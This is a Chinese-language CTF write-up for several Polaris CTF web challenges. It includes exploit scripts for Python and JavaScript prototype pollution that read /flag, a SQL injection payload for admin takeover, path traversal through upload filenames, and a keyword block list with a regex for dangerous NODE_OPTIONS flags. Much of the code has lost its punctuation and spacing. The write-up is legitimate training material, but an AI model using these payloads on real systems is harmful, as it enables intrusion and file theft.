第一届 Polaris CTF 招新赛(部分web) wp

张开发
2026/4/13 13:03:00 15 分钟阅读

分享文章

第一届 Polaris CTF 招新赛(部分web) wp
应急响应的比赛打完再来看的就看了几个解题最多的还有几个也能解不过周末嘛出去浪了后面那个渗透靶机打了一半找个时间复现一下。。。ez_python附件app.py老一辈手艺人依旧坚持人工审计fromflaskimportFlask,requestimportjson appFlask(__name__)defmerge(src,dst):fork,vinsrc.items():ifhasattr(instance,__getitem__):#hasattr(obj, name)这个对象有没有这个属性ifdst.get(k)andtype(v)dict:merge(v,dst.get(k))else:dst[k]velifhasattr(dst,k)andtype(v)dict:merge(v,getattr(dst,k))#getattr(obj, name)按名字取对象属性else:setattr(dst,k,v)#setattr(obj, name, value) 按名字设置对象的属性classConfig:def__init__(self):self.filenameapp.pyclassPolaris:def__init__(self):self.configConfig()instancePolaris()app.route(/,methods[GET,POST])defindex():ifrequest.data:merge(json.loads(request.data),instance)returnWelcome to Polaris CTFapp.route(/read)defread():returnopen(instance.config.filename).read()app.route(/src)defsrc():returnopen(__file__).read()if__name____main__:app.run(host0.0.0.0,port5000,debugFalse)核心在于app.route(/read)defread():returnopen(instance.config.filename).read()会读取instance.config.filename指向的文件可以直接文件读取然后通过路由一层一层去修改底层的filenameapp.py将源码指向flagexpimportrequests resrequests.Session()urlhttp://5000-8859fadb-e48b-41ea-b12a-b9ab55562198.challenge.ctfplus.cnres.post(url/,json{config:{filename:/flag}})print(res.get(url/read).text)ezpollute附件app.jsconstexpressrequire(express);const{spawn}require(child_process);constpathrequire(path);constappexpress();app.use(express.json());app.use(express.static(__dirname));functionmerge(target,source,res){for(letkeyinsource){if(key__proto__){if(res){res.send(get out!);return;}continue;}if(source[key]instanceofObjectkeyintarget){merge(target[key],source[key],res);}else{target[key]source[key];}}}letconfig{name:CTF-Guest,theme:default};app.post(/api/config,(req,res){letuserConfigreq.body;constforbidden[shell,env,exports,main,module,request,init,handle,environ,argv0,cmdline];constbodyStrJSON.stringify(userConfig).toLowerCase();for(letwordofforbidden){if(bodyStr.includes(${word})){returnres.status(403).json({error:Forbidden keyword detected:${word}});}}try{merge(config,userConfig,res);res.json({status:success,msg:Configuration updated successfully.});}catch(e){res.status(500).json({status:error,message:Internal Server Error});}});app.get(/api/status,(req,res){constcustomEnvObject.create(null);for(letkeyinprocess.env){if(keyNODE_OPTIONS){constvalueprocess.env[key]||;constdangerousPattern/(?:^|\s)--(require|import|loader|openssl|icu|inspect)\b/i;if(!dangerousPattern.test(value)){customEnv[key]value;}continue;}customEnv[key]process.env[key];}constprocspawn(node,[-e,console.log(System Check: Node.js is running.)],{env:customEnv,shell:false});letoutput;proc.stdout.on(data,(data){outputdata;});proc.stderr.on(data,(data){outputdata;});proc.on(close,(code){res.json({status:checked,info:output.trim()||No output from system check.});});});app.get(/,(req,res){res.sendFile(path.join(__dirname,index.html));});// Flag 位于 /flagapp.listen(3000,0.0.0.0,(){console.log(Server running on port 3000);});大致理解用户发 JSON➡merge() 把 JSON 合并到对象里➡可以借机做原型污染➡/api/status 复制环境变量时会读到被污染的属性➡spawn() 启动子进程时带上恶意环境变量➡产生利用拿到flagmerge(config, userConfig, res);res直接修改为根目录下的flag即可expimportrequests resrequests.Session()urlhttp://3000-c9df0487-b640-4481-b2dd-347dd08e40cc.challenge.ctfplus.cnres.post(url/api/config,json{constructor:{prototype:{OPENSSL_CONF:/flag}}})print(res.get(url/api/status).text)Broken Trust先信息搜集一下这里随便注册一个用户名获取uuid发现关键点注入点/api/profilejson格式注意这个uid发送的是字符串也是关键点提示了发送的是字符串通常意味着后端在“按 uid 查库”而不是只读 session这里简单的去拿admin的uidimportrequests resrequests.Session()urlhttp://8080-4d0c0cae-ef5e-41fe-b8f4-fd5fc343931e.challenge.ctfplus.cnres.cookies.set(session,eyJyb2xlIjoidXNlciIsInVpZCI6IjJkYjRjNjBjZTRhYzRiOGViZWIyYTBkMGZiZmZmMDVkIiwidXNlcm5hbWUiOiIxMTEifQ.acfu4Q.DgVBfU9SM5sb4UzgPuEww8NMgNw)rres.post(url/api/profile,json{uid: OR roleadmin -- })print(r.text)拿到之后直接返回登录页面输入admin的uid跳转到这里基本上代表着文件读取了这里简单fuzz一下然后也是成功拿到flagAutoPypy审计附件server.py关键部分上传upload的部分app.route(/upload,methods[POST])defupload():iffilenotinrequest.files:returnNo file part,400filerequest.files[file]filenamerequest.form.get(filename)orfile.filename save_pathos.path.join(UPLOAD_FOLDER,filename)save_diros.path.dirname(save_path)ifnotos.path.exists(save_dir):try:os.makedirs(save_dir)exceptOSError:passtry:file.save(save_path)returnf成功上传至:{save_path}exceptExceptionase:returnf上传失败:{str(e)},500这里看到他没有对filename进行过滤没有做防护这里的这个filename不仅可以是文件名也可以是…/…/flag等,但是这样比较麻烦os.makedirs(save_dir)自动建目录最后file.save(save_path)真写进去/runfilenamedata.get(filename)target_fileos.path.join(/app/uploads,filename)procsubprocess.run([sys.executable,launcher_path,target_file],...)这里也是所以你传的不是普通文件名而是带路径的内容时target_file就可能指向 uploads 目录外的别的文件所以你传的不是普通文件名而是带路径的内容时target_file就可能指向 uploads 目录外的别的文件利用路径穿月把文件写到宿主机里/run调用就能再沙箱被执行简单点说就是/uploadfilename 未过滤存在任意路径写文件/runfilename 可控 os.path.join 绝对路径覆盖导致可把/flag绑定为 run.py 执行并回显所以这里直接再运行代码这里直接去读/flag即可带出flag可能理解的有点问题但是大致思路是一样的表达也有欠缺不过最开始的想法还是.pth劫持逃逸沙箱果然做到后面的灵机一动DXT参考MCPB manifest.json 规范https://github.com/modelcontextprotocol/mcpb/blob/main/MANIFEST.mdMCP CTF 练习仓库https://github.com/aganita/mcp-ctf-challengeZip Slip 原始研究https://security.snyk.io/research/zip-slip-vulnerabilityPortSwigger 命令注入https://portswigger.net/web-security/os-command-injection这题也是甘出来了学到了很多后面吧mcp-ctf打靶的wp发出来wp懒得写了

更多文章